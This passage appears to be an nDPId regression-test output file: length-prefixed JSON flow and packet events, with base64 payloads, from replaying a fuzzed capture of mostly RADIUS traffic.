+00595{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996680,"pkt_ts_usec":606830,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRPYorqcNuYVcUnCABFAACl98JAAPwRXEPG4hk1CgxAHgcUchAAkW14CxMAie9Z0EJyCfDsUjdkT3I3GbgBNTAzMTE0ODAyNzg1MDEwMDlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEzNTgvNjQ6YjA6YTY6MGU6YTQ6ZWMvMjEyTw4BAAAMFywAAAwBf\/xQEhzIhNDHhW\/ImS5eu8l9\/uw="} +01285{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996680,"pkt_ts_usec":746034,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"pkt":"IAAMB6xLABRP+4rqCABFAAKrINBAAP8RAAAKDEAexuIZNXIQBxQClwAAARQCj4H6Eqd0ihegwfhvImyPbkgaCgAAV8gOBFVTGgwAAF\/IDd93aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqNIATUwMzExNDgwMjc4NTAxMDA5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TNjQtYjAtYTYtMGUtYTQtZWMeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZW5zaW9uLWlkPTEwZmYxMGFjMDAwMDAwYjc0OGEzMjI1MSwgNWIyW2EzNDgvNjY6YjA6YTY6MGU6YTQ6ZWMvMjEyBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TwoKAAAIFwwAABoUAABEyAcOVlpXQzJUZTl0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEBAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaIwBdOCERBgCAAAAaFQQAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMWwyODM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3TIZGl1bURpcmVjMhoMAAAFgwcGwCxKmVASj7O5CiJTH3nF6RMI1YE3SQ=="} +00498{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":22,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1528996680808,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996680,"pkt_ts_usec":808327,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"ABRP+4rqcNuYVcUnCABFAADA98dAAPwRXCPG4qqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqo="} +00490{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1528996684582,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.4.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01348{"flow_id":8,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996684,"pkt_ts_usec":582288,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAJQBP+4r3CABFAALbINFAAP8RAAAKBEAexuIZNXIQBxQCxwAAARUCv2qbhqMMM0mMg0ptdOqiEGYaCgAAV8gOBFVTGgwAAFPIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqNMATUwMzExNDgwMjc4NTAxMDA5QHdsYW4ubW5jNKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00524{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1528996684582,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.4.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +00596{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996684,"pkt_ts_usec":653352,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcU2CABFAACl915AAPwRXDXG4hk1CgxAHgcUchAAkS+ZCxUAiUY+7jRq\/wB\/LF\/Ns5cYrXEBNTAzMTE0ODAyNzg1MDEwMDlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEzNDgvNjQ6YjA6YTY6MGU6YTQ6ZWMvMjEyTw4BAAAMFwwAAAwBf\/xQEuZXEJbQmcaCVUEqz46tdDc="} +01285{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996684,"pkt_ts_usec":783836,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"pkt":"AAAMB6xAABRP+4rqCABFAAKrINJAAP8RAAAKDEAexuIZNXIQBxQClwAAARYCj2x1VTvVaIEUnwUKplEKCjEaCgAAJQAOBFVTGgwAAKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00629{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996684,"pkt_ts_usec":855270,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"ABRP+4rqcNuYVcVBCABFAADA99VAAPwRXBXG4hk1CgxAHgcUchAArOOlAxYApPHzvOROin1u7Fmmsh4+4s0BNTAzMTE0ODAyWTg1MDEwMDlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEzNDgvNjQ6YjA6YTY6MGU6YTQ6ZWMvMjEyEiIzMjc2NCBTdWJzY3JpYmVyIG5vdCBwcm92aXNpb25lZE8HBAEABwBQEibrHcskq4YL9cVzQTtgI+Y="} +01349{"flow_id":3,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996689,"pkt_ts_usec":337085,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbJQBAAP8RAAAKDEAexuIZNXIQBxQCxwAAARcCv6woCDCldQsjnKcw0kquURwaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqNRATUwMzExNDgwMjc4NTAxMDA5QHdsYW4ubW5jPDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmcZAxB+CDFjaXNjb4MGAAAAAR8TNjQtYjAtYTYtMGUtYTQtZWMeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAALASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYjc0OGEzMjI1YiwgNWIyMmEzNDgvNjQ6YjA6YTY6MGU6YTQ6ZWMvMjEyBAZOFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQA4ATAzMTE0ODAyNzg1MDEwMDlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVl5XQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gbClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhcAAFfIHRFQWlcgQzIgVGVzdCBMYW0aCwAAV8glBVZ6VxoNAAA4IQ4HMDcwNzEaDAAAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyODM5VxoMAGg4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVAS9uJ98NlnaA2xvNGQE9ENOQ=="} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":28,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1528996689402,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29270,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00593{"flow_id":9,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996689,"pkt_ts_usec":402348,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":179,"pkt_l4_len":145,"pkt":"ABRP+4rqcNuYVcUnCABFAAClbuVAAPwRXCDG4hk1CgxAHgcUclYAkWdmCxcAiQrIitkB1LgR0s5zEPVzzzIBNTAzMTE0dzAyNzg1MDEwMDlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEzNDgvNjQ6YjA6YTY6MGU6YTQ6ZWMvMjEyTw4BAAAMFwwAAHYBf\/xQEjLibctMfYgZSgHqxKHsV1U="} +00525{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":28,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1528996689402,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29270,"l4_proto":"udp","ndpi": {"proto":"Radius","breed":"Acceptable","category":"Network"}} +01285{"flow_id":3,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996689,"pkt_ts_usec":524138,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"pkt":"AAAMB6xAABRP+4rqCABFAAKrINRAAP8RAAAKDEAexuIZNXIQBxQClwAAARgCj+745DuonkTQoTELfCPkDKAaCgAAV8gOBFVTGgwAAFfIJQB3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQM4NwZbIqNRATUwM50xkzgwMjc4NTAxMDA5QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TNjQtYjAtYTYtMGUtYTQtZWMeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYjc0OGEzMjI1YiwgNWIyMmEzNDgvNjQ6jzA6YTY6MGU6YTQ6ZWMvMjEyBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAIGBgAAAAIMBgAABRQ9UwAAABNABgAAAA1BBgAAAAZRBDU2TwoCAAAIFwwAABoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGgoAAFfIEAROShoRAABXyBELTHluZGh1cnN0GgwAAFfIEgYAAADJGhckAFfIHRFWWlcgQzIgVGVzdCBMYWIaCwAAV8glBVZ6VxoNAAQ4IQ4HMDcwNzEaDDkAOCERBgAAAAAaFQAAOCESD0ludmFsaWQgVmFsdWUaHQAAOCETFzQwLjgwNDg4Mk4tNzQuMTAyOLM5VxoMAAA4IRQGAAABAhoMAAA4IRUGAAAAAhoVAAA4IRYPU3RhZGl1bURpcmVjdBoMAAAFgwcGwFBKmVASNAm756WvdvFhGR2vDOljfA=="} +00589{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":30,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996689,"pkt_ts_usec":587626,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":206,"pkt_l4_len":0,"pkt":"ABRP+4rqcNuYVcUnCABFAADA9+klAPwRXAHG4hk1CgxAHgcUchAArPtqAxgApNkk5fehx32PqouJEXUDfwgBNTAzMTE0ODAyNzg1MDEwMDlAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEzNDkvNjQ6YjA6YU06uGU6YTQ6ZWMvMjEyeCIzMjc2NCBTdWJzY3JpYmVyIG5vdCBwcm92aXNpb25lZE8lAAEABwBQEslNLvLV5rc9WbdNXraRxZQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":30,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","l4_data_len":172} +00491{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":31,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":8,"flow_packet_id":1,"flow_first_seen":1528996684582,"flow_last_seen":0,"flow_tot_l4_data_len":711,"flow_min_l4_data_len":711,"flow_max_l4_data_len":711,"flow_avg_l4_data_len":711,"midstream":0,"l3_proto":"ip4","src_ip":"10.4.64.30","dst_ip":"198.226.25.53","src_port":29200,"dst_port":1812,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00492{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":31,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":9,"flow_packet_id":1,"flow_first_seen":1528996689402,"flow_last_seen":0,"flow_tot_l4_data_len":145,"flow_min_l4_data_len":145,"flow_max_l4_data_len":145,"flow_avg_l4_data_len":145,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":1812,"dst_port":29270,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00513{"flow_event_id":7,"flow_event_name":"not-detected","thread_id":0,"packet_id":31,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1528996680808,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","ndpi": {"proto":"Unknown","breed":"Unrated"}} +00499{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":31,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1528996680808,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.170.170","dst_ip":"170.170.170.170","src_port":43690,"dst_port":43690,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01349{"flow_id":3,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996733,"pkt_ts_usec":86571,"pkt_caplen":745,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":745,"pkt_l4_len":711,"pkt":"AAAMB6xAABRP+4rqCABFAALbINVAAP8RgAAKDEAexuIZNXIQBxQCxwAAARkCv55B+zm1\/CFtSn2SmJYGgDQaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqN9ATVtMzEzNDgwMDcxMzk0MzA0QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TYjAtOWYtYmEtNGEtMGUtN2UeJTAwLWU3LTQyLWQwLWUwLTAwOlZlcml6b25Xd0ZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdKqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +00491{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":32,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","flow_id":10,"flow_packet_id":1,"flow_first_seen":1528996733156,"flow_last_seen":0,"flow_tot_l4_data_len":117,"flow_min_l4_data_len":117,"flow_max_l4_data_len":117,"flow_avg_l4_data_len":117,"midstream":0,"l3_proto":"ip4","src_ip":"198.226.25.53","dst_ip":"10.12.64.30","src_port":309,"dst_port":12339,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00596{"flow_id":10,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996733,"pkt_ts_usec":156301,"pkt_caplen":179,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":62,"pkt_len":179,"pkt_l4_len":117,"pkt":"ABRP+4rqcNuYVcUnCABMBACl+GRAAPwRW6HG4hk1CgxAHgcUchAAkfvBCxkAidYnQnH6\/q3z6sD9\/UzPvYgBNTAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZywgNWIyMmEzN2MvYjA6OWY6YmE6NGE6MGU6N2UvMjEzTw4BAAAxFwwAAAwBf\/xQEj4NW9JYKjnp+Qug4VR6j6U="} +01286{"flow_id":3,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996733,"pkt_ts_usec":289198,"pkt_caplen":697,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":697,"pkt_l4_len":663,"pkt":"AAAMB6xAABRP+4rqCABFAAKrINZAAP8RAAAKDEAexuIZNXIQBxQClwAAARoCjwO28c1pf8gpc01HIuuennMaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwZaIqN9ejUwMzExNDgwMDcxMzk0MzA0QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TYjAtOWYtYmEtNGF\/MGUtN2UeJTAwLWE3LTQyLWQwLWUwLTAwOlZlV2l6b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpdC1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYjg3ZGEzMjI1YiwgNWIyMmEzN2MvYjA6OWY6YmE6NGE6MCUAN2UvMjEzBAasFAEQIA5WWldDMlRlc3RMYWIaDAAAN2MBBgAAAAImBgAAAAIMBgAABaqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqg=="} +01309{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":35,"source":"fuzz-2020-02-16-11740.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1528996736,"pkt_ts_usec":535113,"pkt_caplen":745,"pkt_type":2050,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":745,"pkt_l4_len":0,"pkt":"AAAMB6xAABRP+4rqCAJFAALbINdAAP8RAAAKDEAexuIZNXIQBxQCxwAAARsCv2gdiE+D2K4zEaVWxj6b5vAaCgAAV8gOBFVTGgwAAFfIDQZ3aWZpGg8AAFfICQlXSVNQUjEwGgkAADghDQMzNwZbIqOAATUwMzExNDgwMDcxMzk0MzA0QHdsYW4ubW5jNDgwLm1jYzMxMS4zZ3BwbmV0d29yay5vcmdZAxB+CDFjaXNjb4MGAAAAAR8TYjAtOWYtYmEtNGEtMGUtN2UeJTAwLWE3LTQyLWQwLWUwLTAwOlZlcml4b25XaUZpQWNjZXNzBQYAAAAIGjEAAAAJASthdWRpVi1zZXNzaW9uLWlkPTEwZmYxMGFjMDAwMDAwYjg3ZGEzMjI1Yiw0NWIyMmEzN2MvYjA6OWY6YmE6NGE6MGU6N2UvMjEzBAasFAEQIA5WWldDMlRlc3QBYWIaDAAAN2MBBgAAAAIGJQAAAAIMBgAABRQ9BgAAABNABgAAAA1BBgAAAAZRBDU2TzoCAQBCATAzMTE0ODAwNzEzOTQzMDRAd2xhbi5tbmM0ODAubWNjMzExLjNncHBuZXR3b3JrLm9yZxoUAABXyAcOVlpXQzJUZXN0TGFiGgoAAFfICARFVBoQAABXyAoKU3RhbmRhcmQaEAAAV8gLClRlc3QgTGFiGgkAAFfIDwMxGm0AAF